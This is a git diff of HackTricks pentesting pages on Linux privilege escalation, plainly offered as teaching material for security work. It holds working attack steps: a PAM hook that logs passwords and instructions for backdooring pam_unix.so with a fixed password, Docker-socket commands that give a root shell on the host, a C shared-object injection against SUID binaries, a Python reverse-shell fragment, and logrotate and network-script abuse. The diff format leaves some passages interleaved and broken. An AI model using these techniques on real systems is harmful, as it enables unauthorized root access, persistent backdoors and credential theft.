$ sudo cat /var/log/toomanysecrets.log
|
||||
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
|
||||
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
|
||||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
|
||||
### Backdooring PAM
|
||||
|
||||
Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. This is just a summary:
|
||||
|
||||
```
|
||||
vi modules/pam_unix/pam_unix_auth.c
|
||||
```
|
||||
The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: **username**, **password**, and **service**. Configuration files for each service are located in the `/etc/pam.d/` directory, where shared libraries handle authentication.
|
||||
|
||||
![](<../../.gitbook/assets/image (651).png>)
|
||||
**Objective**: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the `pam_unix.so` shared library used by the `common-auth` file, which is included by almost all services for password verification.
|
||||
|
||||
Let’s change this by:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (2) (2).png>)
|
||||
|
||||
This will allow any user using the **password "0xMitsurugi"** to log in.
|
||||
|
||||
Recompile the `pam_unix_auth.c`, and replace the pam\_unix.so file:
|
||||
|
||||
```bash
|
||||
make
|
||||
sudo cp \
|
||||
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
|
||||
/lib/x86_64-linux-gnu/security/
|
||||
```
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- The line responsible for checking a user's password calls `pam_unix.so`.
|
||||
2. **Modify Source Code**:
|
||||
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
|
||||
|
||||
{% hint style="info" %}
|
||||
You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
|
||||
* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -15,11 +15,16 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
PAM is a collection of modules that essentially form a barrier between a service on your system, and the user of the service. The modules can have widely varying purposes, from disallowing a login to users from a particular UNIX group \(or netgroup, or subnet…\), to implementing resource limits so that your ‘research’ group can’t hog system resources.
|
||||
## Basic Information
|
||||
|
||||
# Config Files
|
||||
**PAM (Pluggable Authentication Modules)** acts as a security mechanism that **verifies the identity of users attempting to access computer services**, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads.
|
||||
|
||||
Solaris and other commercial UNIX systems have a slightly different configuration model, centered around a single file, **`/etc/pam.conf`**. On most Linux systems, these configuration files live in **`/etc/pam.d`**, and are named after the service – for example, the ‘login’ configuration file is called **`/etc/pam.d/login`**. Let’s have a quick look at a version of that file:
|
||||
### Configuration Files
|
||||
|
||||
- **Solaris and UNIX-based systems** typically utilize a central configuration file located at `/etc/pam.conf`.
|
||||
- **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.
|
||||
|
||||
An example of a PAM configuration for the login service might look like this:
|
||||
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
|
@ -34,42 +39,30 @@ password required /lib/security/pam_pwdb.so use_first_pass
|
|||
session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
|
||||
## **PAM Management Realms**
|
||||
### **PAM Management Realms**
|
||||
|
||||
The leftmost column can contains four unique words, which represent four realms of PAM management: **auth**, **account**, **password** and **session**. While there are many modules which support more than one of these realms \(indeed, pam\_unix supports all of them\), others, like pam\_cracklib for instance, are only suited for one \(the ‘password’ facility in pam\_cracklib’s case\).
|
||||
These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process:
|
||||
|
||||
* **auth**: The ‘auth’ realm \(I call it a realm – the docs refer to it as a ‘management group’ or ‘facility’\) is responsible for checking that the user is who they say. The modules that can be listed in this area **generally** support **prompting for a password**.
|
||||
* **account**: This area is responsible for a wide array of possible **account verification functionality**. There are many modules available for this facility. Constraints to the use of a service based on **checking group membership**, time of day, whether a user account is local or remote, etc., are generally enforced by modules which support this facility.
|
||||
* **password**: The modules in this area are responsible for any functionality needed in the course of **updating passwords** for a given service. Most of the time, this section is pretty ‘ho-hum’, simply calling a module that **will prompt for a current password**, and, assuming that’s successful, prompt you for a new one. Other modules could be added to perform **password complexity** or dictionary checking as well, such as that performed by the pam\_cracklib and pam\_pwcheck modules.
|
||||
* **session**: Modules in this area perform any number of things that happen either **during the setup or cleanup of a service** for a given user. This may include any number of things; launching a system-wide initialization script, performing special logging, **mounting the user’s home directory**, or setting resource limits.
|
||||
- **Auth**: Validates user identity, often by prompting for a password.
|
||||
- **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions.
|
||||
- **Password**: Manages password updates, including complexity checks or dictionary attacks prevention.
|
||||
- **Session**: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits.
|
||||
|
||||
## **PAM Module Controls**
|
||||
### **PAM Module Controls**
|
||||
|
||||
The **middle column** holds a keyword that essentially determines w**hat PAM should do if the module either succeeds or fails**. These keywords are called ‘**controls**’ in PAM-speak. In 90% of the cases, you can use one of the common keywords \(**requisite**, **required**, **sufficient** or **optional**\). However, this is only the tip of the iceberg in terms of unleashing the flexibility and power of PAM.
|
||||
Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:
|
||||
|
||||
* **required**: If a ‘required’ module returns a status that is **not ‘success’**, the **operation will ultimately fail ALWAYS**, but only after the **modules below it are invoked**. This seems senseless at first glance I suppose, but it serves the purpose of **always acting the same way from the point of view of the user** trying to utilize the service. The net effect is that it becomes **impossible** for a potential cracker to **determine** **which** **module** caused the **failure**.
|
||||
* **requisite**: If a ‘requisite’ module fails, the **operation** not only **fails**, but the operation is **immediately** **terminated** with a failure without invoking any other modules.
|
||||
* **sufficient**: If a **sufficient** module **succeeds**, it is enough to satisfy the requirements of sufficient modules in that realm for use of the service, and **modules below it that are also listed as ‘sufficient’ are not invoked**. **If it fails, the operation fails unless a module invoked after it succeeds**.
|
||||
* **optional**: An ''optional’ module, according to the pam\(8\) manpage, **will only cause an operation to fail if it’s the only module in the stack for that facility**.
|
||||
- **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked.
|
||||
- **Requisite**: Immediate termination of the process upon failure.
|
||||
- **Sufficient**: Success bypasses the rest of the same realm's checks unless a subsequent module fails.
|
||||
- **Optional**: Only causes failure if it's the sole module in the stack.
|
||||
|
||||
## Example
|
||||
### Example Scenario
|
||||
|
||||
In our example file, we have four modules stacked for the auth realm:
|
||||
|
||||
```text
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_env.so
|
||||
auth sufficient /lib/security/pam_ldap.so
|
||||
auth required /lib/security/pam_unix.so try_first_pass
|
||||
```
|
||||
|
||||
As the modules are invoked in order, here is what will happen:
|
||||
|
||||
1. The ‘**pam\_securetty**’ module will check its config file, **`/etc/securetty`**, and see if the terminal being used for this login is listed in the file. If **it’s not, root logins will not be permitted**. If you try to log in as root on a ‘bad’ terminal, this module will fail. Since it’s ‘required’, it will still invoke all of the modules in the stack. However, even if every one of them succeeds, the login will fail. Interesting to note is that if the module were listed as ‘requisite’, the operation would terminate with a failure immediately, without invoking any of the other modules, no matter what their status.
|
||||
2. The ‘**pam\_env**’ module will s**et environment variables** based on what the administrator has set up in /etc/security/pam\_env.conf. On a default setup of Redhat 9, Fedora Core 1, and Mandrake 9.2, the configuration file for this module doesn’t actually set any variables. A good use for this might be automatically setting a DISPLAY environment variable for a user logging in via SSH so they don’t have to set it themselves if they want to shoot an ‘xterm’ back to their remote desktop \(though this can be taken care of by OpenSSH automagically\).
|
||||
3. The ‘**pam\_ldap**’ module will **prompt** the user for a **password**, and then check the ldap directory indicated in **`/etc/ldap.conf`** to authenticate the user. If this fails, the operation can still succeed if ‘pam\_unix’ succeeds in authenticating the user. If pam\_ldap succeeds, ‘pam\_unix’ will not be invoked.
|
||||
4. The ‘**pam\_unix**’ module, in this case, will **not prompt the user for a password**. The ‘try\_first\_pass’ argument will tell the module to **use the password given to it by the preceding module** \(in this case, pam\_ldap\). It will try to authenticate the user using the standard getpw\* system calls. If pam\_unix fails, and pam\_ldap has failed, the operation will fail. If pam\_ldap fails, but pam\_unix succeeds, the operation will succeed \(this is extremely helpful in cases where root is not in the ldap directory, but is still in the local /etc/passwd file!\).
|
||||
In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.
|
||||
|
||||
# References
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -14,8 +14,6 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
|
|
@ -540,7 +540,7 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd
|
|||
|
||||
## Sockets
|
||||
|
||||
In brief, a Unix Socket (technically, the correct name is Unix Domain Socket, **UDS**) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From [here](https://www.linux.com/news/what-socket/)).
|
||||
Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.
|
||||
|
||||
Sockets can be configured using `.socket` files.
|
||||
|
||||
|
@ -596,47 +596,55 @@ If the socket **responds with an HTTP** request, then you can **communicate** wi
|
|||
|
||||
### Writable Docker Socket
|
||||
|
||||
The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by the `root` user and `docker` group.\
|
||||
If for some reason **you have write permissions** over that socket you can escalate privileges.\
|
||||
The following commands can be used to escalate privileges:
|
||||
The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.
|
||||
|
||||
#### **Privilege Escalation with Docker CLI**
|
||||
|
||||
If you have write access to the Docker socket, you can escalate privileges using the following commands:
|
||||
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
```
|
||||
|
||||
#### Use docker web API from socket without docker package
|
||||
These commands allow you to run a container with root-level access to the host's file system.
|
||||
|
||||
If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use the web API directly with `curl`.
|
||||
#### **Using Docker API Directly**
|
||||
|
||||
The following commands are an example of how to **create a docker container that mounts the root** of the host system and use `socat` to execute commands into the new docker.
|
||||
In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands.
|
||||
|
||||
```bash
|
||||
# List docker images
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
|
||||
# Send JSON to docker API to create the container
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
#{"Id":"<NewContainerID>","Warnings":[]}
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
1. **List Docker Images:**
|
||||
Retrieve the list of available images.
|
||||
|
||||
The last step is to use `socat` to initiate a connection to the container, sending an "attach" request
|
||||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||||
Host:
|
||||
Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
2. **Create a Container:**
|
||||
Send a request to create a container that mounts the host system's root directory.
|
||||
|
||||
#HTTP/1.1 101 UPGRADED
|
||||
#Content-Type: application/vnd.docker.raw-stream
|
||||
#Connection: Upgrade
|
||||
#Upgrade: tcp
|
||||
```
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
```
|
||||
|
||||
Now, you can execute commands on the container from this `socat` connection.
|
||||
Start the newly created container:
|
||||
|
||||
```bash
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
3. **Attach to the Container:**
|
||||
Use `socat` to establish a connection to the container, enabling command execution within it.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||||
Host:
|
||||
Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem.
|
||||
|
||||
### Others
|
||||
|
||||
|
@ -666,15 +674,17 @@ If you find that you can use the **`runc`** command read the following page as *
|
|||
|
||||
## **D-Bus**
|
||||
|
||||
D-BUS is an **inter-Process Communication (IPC) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
|
||||
D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.
|
||||
|
||||
As a full-featured IPC and object system, D-BUS has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From [here](https://www.linuxjournal.com/article/7744)).
|
||||
The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex.
|
||||
|
||||
D-Bus uses an **allow/deny model**, where each message (method call, signal emission, etc.) can be **allowed or denied** according to the sum of all policy rules which match it. Each rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set.
|
||||
D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions.
|
||||
|
||||
Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`:
|
||||
An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`.
|
||||
|
||||
```markup
|
||||
Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies.
|
||||
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
<allow send_destination="fi.w1.wpa_supplicant1"/>
|
||||
|
@ -683,11 +693,6 @@ Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`:
|
|||
</policy>
|
||||
```
|
||||
|
||||
Therefore, if a policy is allowing your user in any way to **interact with the bus**, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).
|
||||
|
||||
Note that a **policy** that **doesn't specify** any user or group affects everyone (`<policy>`).\
|
||||
Policies to the context "default" affects everyone not affected by other policies (`<policy context="default"`).
|
||||
|
||||
**Learn how to enumerate and exploit a D-Bus communication here:**
|
||||
|
||||
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
|
||||
|
@ -921,11 +926,14 @@ Then, when you call the suid binary, this function will be executed
|
|||
|
||||
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
||||
|
||||
**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
|
||||
The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
|
||||
|
||||
To avoid this mechanism being used as an attack vector for _suid/sgid_ executable binaries, the loader ignores _LD\_PRELOAD_ if _ruid != euid_. For such binaries, only libraries in standard paths that are also _suid/sgid_ will be preloaded.
|
||||
However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:
|
||||
|
||||
If you find inside the output of **`sudo -l`** the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges.
|
||||
- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_).
|
||||
- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.
|
||||
|
||||
Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.
|
||||
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
|
@ -985,15 +993,15 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
|||
|
||||
### SUID Binary – .so injection
|
||||
|
||||
If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. To do so you can execute:
|
||||
When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command:
|
||||
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
|
||||
For example, if you find something like: _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)_ you can exploit it.
|
||||
For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation.
|
||||
|
||||
Create the file _/home/user/.config/libcalc.c_ with the code:
|
||||
To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -1006,13 +1014,16 @@ void inject(){
|
|||
}
|
||||
```
|
||||
|
||||
Compile it using:
|
||||
This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges.
|
||||
|
||||
Compile the above C file into a shared object (.so) file with:
|
||||
|
||||
```bash
|
||||
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
|
||||
And execute the binary.
|
||||
Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise.
|
||||
|
||||
|
||||
## Shared Object Hijacking
|
||||
|
||||
|
@ -1070,7 +1081,7 @@ If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github
|
|||
|
||||
### Reusing Sudo Tokens
|
||||
|
||||
In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait for him/her to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation).
|
||||
In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**.
|
||||
|
||||
Requirements to escalate privileges:
|
||||
|
||||
|
@ -1241,7 +1252,8 @@ The **"read"** bit implies the user can **list** the **files**, and the **"write
|
|||
|
||||
## ACLs
|
||||
|
||||
ACLs (Access Control Lists) are the second level of discretionary permissions, that **may override the standard ugo/rwx** ones. When used correctly they can grant you a **better granularity in setting access to a file or a directory**, for example by giving or denying access to a specific user that is neither the file owner nor the group owner (from [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\
|
||||
Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Give** user "kali" read and write permissions over a file:
|
||||
|
||||
```bash
|
||||
|
@ -1561,8 +1573,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
|||
|
||||
### Logrotate exploitation
|
||||
|
||||
There is a vulnerability on `logrotate` that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate` write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\
|
||||
So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart from _/var/log_ are more files being **rotated**.
|
||||
A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
|
||||
|
||||
{% hint style="info" %}
|
||||
This vulnerability affects `logrotate` version `3.18.0` and older
|
||||
|
@ -1576,6 +1587,8 @@ This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails
|
|||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
|
||||
|
||||
Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
|
||||
|
@ -1592,17 +1605,13 @@ DEVICE=eth0
|
|||
|
||||
(_Note the blank space between Network and /bin/id_)
|
||||
|
||||
**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
### **init, init.d, systemd, and rc.d**
|
||||
|
||||
`/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). Other alternative to this folder is `/etc/rc.d/init.d` in Redhat.
|
||||
The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`.
|
||||
|
||||
`/etc/init` contains **configuration** files used by **Upstart**. Upstart is a young **service management package** championed by Ubuntu. Files in `/etc/init` are configuration files telling Upstart how and when to `start`, `stop`, `reload` the configuration, or query the `status` of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. The SysVinit scripts are processed by a compatibility layer in Upstart. (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)).
|
||||
On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart.
|
||||
|
||||
**systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From [here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/)).
|
||||
|
||||
Files that ship in packages downloaded from the distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator (user) go into `/etc/systemd/system/`.
|
||||
**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process.
|
||||
|
||||
## Other Tricks
|
||||
|
||||
|
@ -1650,15 +1659,23 @@ Files that ship in packages downloaded from the distribution repository go into
|
|||
|
||||
## References
|
||||
|
||||
[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\
|
||||
[https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\
|
||||
[https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\
|
||||
[http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\
|
||||
[https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\
|
||||
[https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\
|
||||
[https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\
|
||||
[https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\
|
||||
[https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\
|
||||
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\
|
||||
* [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\
|
||||
* [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\
|
||||
* [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\
|
||||
* [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\
|
||||
